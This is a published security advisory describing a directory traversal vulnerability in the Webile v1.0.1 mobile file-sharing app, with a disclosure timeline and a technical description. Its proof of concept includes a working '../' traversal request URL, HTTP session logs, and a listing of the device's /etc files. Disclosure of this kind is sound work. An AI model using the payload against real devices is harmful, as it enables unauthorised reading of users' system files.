Webile 1.0.1 Directory Traversal

`Document Title:  
===============  
Webile v1.0.1 - Directory Traversal Web Vulnerability  
  
  
References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=2320  
  
  
Release Date:  
=============  
2022-10-10  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
2320  
  
  
Common Vulnerability Scoring System:  
====================================  
7.3  
  
  
Vulnerability Class:  
====================  
Directory- or Path-Traversal  
  
  
Current Estimated Price:  
========================  
1.000€ - 2.000€  
  
  
Product & Service Introduction:  
===============================  
Webile, is a local area network cross-platform file management tool based on http protocol. Using the personal mobile phone as a server in  
the local area network, browsing mobile phone files, uploading files, downloading files, playing videos, browsing pictures, transmitting data,  
statistics files, displaying performance, etc. No need to connect to the Internet, you can browse files, send data, play videos and other  
functions through WiFi LAN or mobile phone hotspot, and no additional data traffic will be generated during data transmission. Support Mac,  
Windows, Linux, iOS, Android and other multi-platform operating systems.  
  
(Copy of the Homepage:https://play.google.com/store/apps/details?id=com.wifile.webile&hl=en&gl=US )  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered a directory traversal web vulnerability in the Webile v1.0.1 Wifi mobile web application.  
  
Affected Product(s):  
====================  
Product Owner: Webile  
Product: Webile v1.0.1 - (Framework) (Mobile Web-Application)  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2022-02-06: Researcher Notification & Coordination (Security Researcher)  
2022-02-07: Vendor Notification (Security Department)  
2022-**-**: Vendor Response/Feedback (Security Department)  
2022-**-**: Vendor Fix/Patch (Service Developer Team)  
2022-**-**: Security Acknowledgements (Security Department)  
2022-10-10: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
High  
  
  
Authentication Type:  
====================  
Open Authentication (Anonymous Privileges)  
  
  
User Interaction:  
=================  
No User Interaction  
  
  
Disclosure Type:  
================  
Independent Security Research  
  
  
Technical Details & Description:  
================================  
A directory traversal web vulnerability has been discovered in the Webile v1.0.1 wifi mobile web application.  
The vulnerability allows remote attackers to change the application path in performed requests to compromise the  
local application or file-system of a mobile device. Attackers are for example able to request environment  
variables or a sensitive system path.  
  
The directory-traversal web vulnerability is located in the insecure web-server configuration. The path of the local user is not  
secure restricted and validated. Thus allows an unauthenticated user with wifi access to request local web-server files without  
secure permission. The bug itself is located in the filepath parameter of the change_upload_dir function.  
  
Exploitation of the directory traversal web vulnerability requires no privileged web-application user account or user interaction.  
Successful exploitation of the vulnerability results in information leaking by unauthorized file access and mobile application compromise.  
  
  
Proof of Concept (PoC):  
=======================  
The directory traversal web vulnerability can be exploited by remote attackers without user account or user interaction.  
For security demonstration or to reproduce the web vulnerability follow the provided information and steps below to continue.  
  
  
PoC: Exploitation  
http://localhost:8080/webile_select_dir?t=change_upload_dir&filepath=../../../../../../../../../../../../etc/  
  
  
--- PoC Session Logs ---  
http://localhost:8080/webile_select_dir?t=change_upload_dir&filepath=../../../../../../../../../../../../etc/  
Host: localhost:8080  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: de,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Cookie: treeview=0; sessionId=b21814d80862de9a06b7086cc737dae6  
Upgrade-Insecure-Requests: 1  
-  
GET: HTTP/1.1 200 OK  
Content-Type: text/html; charset=UTF-8  
Connection: keep-alive  
Content-Encoding: gzip  
Transfer-Encoding: chunked  
  
  
--- FS Session Logs ---  
Output:  
File name   
bluetooth  
bpf  
carrier  
compatconfig  
init  
permissions  
ppp  
seccomp_policy  
security  
selinux  
sensors  
sysconfig  
textclassifier  
theme  
vintf  
epdg  
ipm  
  
  
Security Risk:  
==============  
The security risk of the directory traversal web vulnerability in the mobile web application is estimated as high.  
  
  
Credits & Authors:  
==================  
Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab  
  
  
Disclaimer & Information:  
=========================  
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--   
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